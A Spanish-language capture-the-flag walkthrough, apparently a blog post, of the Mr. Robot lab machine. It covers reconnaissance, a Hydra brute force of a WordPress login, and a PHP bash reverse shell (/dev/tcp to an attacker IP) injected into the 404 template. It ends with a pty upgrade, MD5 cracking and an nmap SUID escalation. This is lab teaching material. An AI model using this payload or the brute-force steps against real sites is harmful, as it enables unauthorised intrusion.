1. Fase de Enumeración y Reconocimiento
Con la herramienta NetDiscover realizaré un reconocimiento de la red para identificar la máquina objetivo.
La dirección IP de nuestra máquina objetivo es 192.168.50.114. ahora con la herramienta Nmap realizaré un escaneo de puertos.
La máquina objetivo tiene dos puertos abiertos el puerto 80 y 443 ejecutando los servicios http y https respectivamente.
Ahora realizaré un escaneo para averiguar la versión de los servicios que se están ejecutando en esos puertos (80, 443).
La herramienta nos indica que se está ejecutando Apache httpd, pero no entrega la versión de apache httpd que se está ejecutando. Por lo tanto, utilizaré la herramienta dirsearch para enumerar directorios.
Como se muestra en la imagen se está ejecutando WordPress. Utilizaré la herramienta wpscan para enumerar usuarios y otra información.
La herramienta no encontró usuarios y bases de datos exportadas. Por último, revisaré el archivo robots.txt detectado por wpscan para ver que información contine.
Como se observa en la imagen hay dos archivos una llamado fsocity.dic y key-1-of-3.txt, revisaré ambos archivos.
En el archivo key-1-of-3.txt contine nuestro primer flag.
En el archivo fsocity.dic es un diccionario de datos, que me sugiere que se puede utilizar para realizar fuerza bruta.
Recordemos que esta máquina es una maquina temática con respecto a la serie Mr. Robot. Entonces, como wpscan no enumero ningún usuario lo que haré es buscar los personajes de la serie Mr. Robot y crearé un diccionario de usuario y junto con el diccionario de datos fsocity.dic realizare fuerza bruta contra la página de login de WordPress.
Antes de usar el diccionario fsocity.dic lo analizaré para ver cuantas palabras contine y si se repiten alguno de ellos.
Descargaré el archivo fsocity.dic
Como se observa en la imagen el archivo fsocity.dic contine 858.160 palabra. Ahora revisaré si hay palabras repetidas.
Como se observa en la imagen existían varias palabras repetidas, es decir, de 858.160 se redujo el diccionario a 11.451.
Ahora con la herramienta Hydra realizare fuerza bruta con ambos diccionarios.
Como se observa en la imagen cuando se ingresa un usuario no existente en WordPress se emite el mensaje "invalid username", por lo tanto, podemos usar este mensaje para enumerar usuario validos en Hydra, como se muestra en la imagen.
Encontramos un usuario valido Elliot. Ahora con este usuario ocuparé el diccionario fsocity.dic sin las palabras repetidas en mi caso lo nombre pass.txt, para enumerar una contraseña valida.
Como se muestra en la imagen cuando se ingresa un usuario valido y una contraseña no valida WordPress muestra el siguiente mensaje de error "The password you entered for the username". Por lo tanto, lo utilizaré para enumerar la contraseña correcta para el usuario Elliot con la herramienta hydra, como se muestra en la imagen.
Como se muestra en la imagen encontró una contraseña valida ER28-0652. Ahora realizare login en WordPress para examinar el entorno.
2. Fase de Análisis de Vulnerabilidades.
Se logró el ingreso al panel de administrador de WordPress. Ahora revisaré que permisos tiene el usuario Elliot.
El usuario Elliot tiene permiso de administrador. Sabemos que WordPress es un CMS construido en el lenguaje PHP, por lo tanto, podemos explotar la vulnerabilidad de inyección de código. Es decir, poder modificar una página, por ejemplo, la página de error cuando un usuario solicita una URL que no exista. Ahora analizaré como procesa el entorno actual de WordPress la solicitud de una URL no existente.
Existe una página que procesas la solicitud de una URL no existente. Como tenemos acceso al panel de administración de WordPress y tenemos permiso de administrador modificaré el código fuente de la página que procesa la solicitud de URL no existentes.
Como se muestra en la imagen editaré la página de error y al principio del todo agregaré el siguiente código PHP.
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.50.121/4444 0>&1'"); ?>
El código permite ejecutar una conexión reversa desde la máquina objetivo a la máquina atacante. Para más información sobre la función exec de PHP les comparto el link de la documentación oficial.
En la máquina atacante configuramos la herramienta netcat con el puerto 4444 como puerto de escucha.
Si todo sale bien solo nos queda solicitar una URL no existente para que se ejecute nuestro código PHP y obtener una conexión reversa a nuestra máquina atacante.
python -c 'import pty; pty.spawn("/bin/sh")'
3. Fase de explotación Vulnerabilidades.
Una vez obtenida la TTY nos cambiaremos al directorio robot para revisar su contenido.
Encontramos dos archivos interesantes key-2-of-3.txt y password.raw-md5.
El archivo password.raw-md5 contiene un hash como se muestra en la imagen.
El hash corresponde a un hash de tipo MD5, utilizaré la herramienta online CrackStation para el hash decodificado.
El hash de codificado es abcdefghijklmnopqrstuvwxyz. Por lo tanto, quedaría de la siguiente manera robot:abcdefghijklmnopqrstuvwxyz.
Ahora revisaré el segundo archivo key-2-of-3.txt.
Como se muestra en la imagen se denegó el permiso para ver el contenido del archivo. Utilizaremos la contraseña anteriormente obtenida para ejecutar con permiso de sudo la instrucción cat de Linux para ver su contenido.

Encontramos el segundo flag de este CTF.
Por último, nos queda encontrar nuestro último flag, para esto debemos elevar privilegio para encontrar el flag. Para elevar privilegio buscaré archivos que tengan un SUID de 4000.
Me llama la atención el directorio nmap, nmap tiene una funcionalidad que se puede ejecutar de forma interactiva, esto permite ejecutar comando de sistema operativo.

































Comentarios
Publicar un comentario